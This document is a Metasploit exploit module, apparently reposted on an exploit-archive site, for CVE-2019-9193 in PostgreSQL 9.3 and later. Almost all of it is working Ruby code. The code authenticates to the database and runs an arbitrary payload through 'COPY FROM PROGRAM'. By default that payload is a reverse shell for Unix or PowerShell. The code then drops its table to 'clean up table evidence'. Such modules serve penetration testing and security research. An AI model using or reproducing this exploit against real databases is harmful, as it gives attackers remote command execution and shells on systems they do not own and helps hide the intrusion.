ExploitFixes
PostgreSQL 9.3 - COPY FROM PROGRAM Command Execution (Metasploit) 2019-05-08 21:05:18

\##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

require 'msf/core/exploit/postgres'

class MetasploitModule < Msf::Exploit::Remote
Rank = ExcellentRanking

include Msf::Exploit::Remote::Postgres
include Msf::Exploit::Remote::Tcp
include Msf::Auxiliary::Report

def initialize(info = {})
super(update_info(info,
'Name' => 'PostgreSQL COPY FROM PROGRAM Command Execution',
'Description' => %q(
Installations running Postgres 9.3 and above have functionality which allows for the superuser
and users with 'pg_execute_server_program' to pipe to and from an external program using COPY.
This allows arbitrary command execution as though you have console access.

This module attempts to create a new table, then execute system commands in the context of
copying the command output into the table.

This module should work on all Postgres systems running version 9.3 and above.

For Linux & OSX systems, target 1 is used with cmd payloads such as: cmd/unix/reverse_perl

For Windows Systems, target 2 is used with powershell payloads such as: cmd/windows/powershell_reverse_tcp
Alternativly target 3 can be used to execute generic commands, such as a web_delivery meterpreter powershell payload
or other customised command.
),
'Author' => [
'Jacob Wilkin' # Exploit Author of Module
],
'License' => MSF_LICENSE,
'References' => [
['CVE', '2019-9193'],
['URL', 'https://medium.com/greenwolf-security/authenticated-arbitrary-command-execution-on-postgresql-9-3-latest-cd18945914d5'],
['URL', 'https://www.postgresql.org/docs/9.3/release-9-3.html'] #Patch notes adding the function, see 'E.26.3.3. Queries - Add support for piping COPY and psql \copy data to/from an external program (Etsuro Fujita)'
],
'PayloadType' => 'cmd',
'Platform' => %w(linux unix win osx),
'Payload' => {
},
'Arch' => [ARCH_CMD],
'Targets' =>
[
[
'Unix/OSX/Linux', {
'Platform' => 'unix',
'Arch' => ARCH_CMD,
'DefaultOptions' => {
'Payload' => 'cmd/unix/reverse_perl' }
}
],[
'Windows - PowerShell (In-Memory)', {
'Platform' => 'windows',
'Arch' => ARCH_CMD,
'DefaultOptions' => {
'Payload' => 'cmd/windows/powershell_reverse_tcp' }
}
],[
'Windows (CMD)',
'Platform' => 'win',
'Arch' => [ARCH_CMD],
'Payload' => {
'Compat' => {
'PayloadType' => 'cmd',
'RequiredCmd' => 'adduser, generic'
}
}
],
],
'DisclosureDate' => 'Mar 20 2019'
))

register_options([
Opt::RPORT(5432),
OptString.new('TABLENAME', [ true, 'A table name that does not exist (To avoid deletion)', Rex::Text.rand_text_alphanumeric(8..12)]),
OptBool.new('DUMP_TABLE_OUTPUT', [false, 'select payload command output from table (For Debugging)', false])
])

deregister_options('SQL', 'RETURN_ROWSET', 'VERBOSE')
end

# Return the datastore value of the same name
# @return [String] tablename for table to use with command execution
def tablename
datastore['TABLENAME']
end

def check
vuln_version? ? CheckCode::Appears : CheckCode::Safe
end

def vuln_version?
version = postgres_fingerprint
return false unless version[:auth]
vprint_status version[:auth].to_s
version_full = version[:auth].to_s.scan(/^PostgreSQL ([\d\.]+)/).flatten.first
if Gem::Version.new(version_full) >= Gem::Version.new('9.3')
return true
else
return false
end
end

def login_success?
status = do_login(username, password, database)
case status
when :noauth
print_error "#{peer} - Authentication failed"
return false
when :noconn
print_error "#{peer} - Connection failed"
return false
else
print_status "#{peer} - #{status}"
return true
end
end

def execute_payload
# Drop table if it exists
query = "DROP TABLE IF EXISTS #{tablename};"
drop_query = postgres_query(query)
case drop_query.keys[0]
when :conn_error
print_error "#{peer} - Connection error"
return false
when :sql_error
print_warning "#{peer} - Unable to execute query: #{query}"
return false
when :complete
print_good "#{peer} - #{tablename} dropped successfully"
else
print_error "#{peer} - Unknown"
return false
end

# Create Table
query = "CREATE TABLE #{tablename}(filename text);"
create_query = postgres_query(query)
case create_query.keys[0]
when :conn_error
print_error "#{peer} - Connection error"
return false
when :sql_error
print_warning "#{peer} - Unable to execute query: #{query}"
return false
when :complete
print_good "#{peer} - #{tablename} created successfully"
else
print_error "#{peer} - Unknown"
return false
end

# Copy Command into Table
cmd_filtered = payload.encoded.gsub("'", "''")
query = "COPY #{tablename} FROM PROGRAM '#{cmd_filtered}';"
copy_query = postgres_query(query)
case copy_query.keys[0]
when :conn_error
print_error "#{peer} - Connection error"
return false
when :sql_error
print_warning "#{peer} - Unable to execute query: #{query}"
if copy_query[:sql_error] =~ /must be superuser to COPY to or from an external program/
print_error 'Insufficient permissions, User must be superuser or in pg_read_server_files group'
return false
end
print_warning "#{peer} - Unable to execute query: #{query}"
return false
when :complete
print_good "#{peer} - #{tablename} copied successfully(valid syntax/command)"
else
print_error "#{peer} - Unknown"
return false
end

if datastore['DUMP_TABLE_OUTPUT']
# Select output from table for debugging
query = "SELECT * FROM #{tablename};"
select_query = postgres_query(query)
case select_query.keys[0]
when :conn_error
print_error "#{peer} - Connection error"
return false
when :sql_error
print_warning "#{peer} - Unable to execute query: #{query}"
return false
when :complete
print_good "#{peer} - #{tablename} contents:\n#{select_query}"
return true
else
print_error "#{peer} - Unknown"
return false
end
end
# Clean up table evidence
query = "DROP TABLE IF EXISTS #{tablename};"
drop_query = postgres_query(query)
case drop_query.keys[0]
when :conn_error
print_error "#{peer} - Connection error"
return false
when :sql_error
print_warning "#{peer} - Unable to execute query: #{query}"
return false
when :complete
print_good "#{peer} - #{tablename} dropped successfully(Cleaned)"
else
print_error "#{peer} - Unknown"
return false
end
end

def do_login(user, pass, database)
begin
password = pass || postgres_password
result = postgres_fingerprint(
db: database,
username: user,
password: password
)

return result[:auth] if result[:auth]
print_error "#{peer} - Login failed"
return :noauth

rescue Rex::ConnectionError
return :noconn
end
end

def exploit
#vuln_version doesn't seem to work
#return unless vuln_version?
return unless login_success?
print_status("Exploiting...")
if execute_payload
print_status("Exploit Succeeded")
else
print_error("Exploit Failed")
end
postgres_logout if @postgres_conn
end
end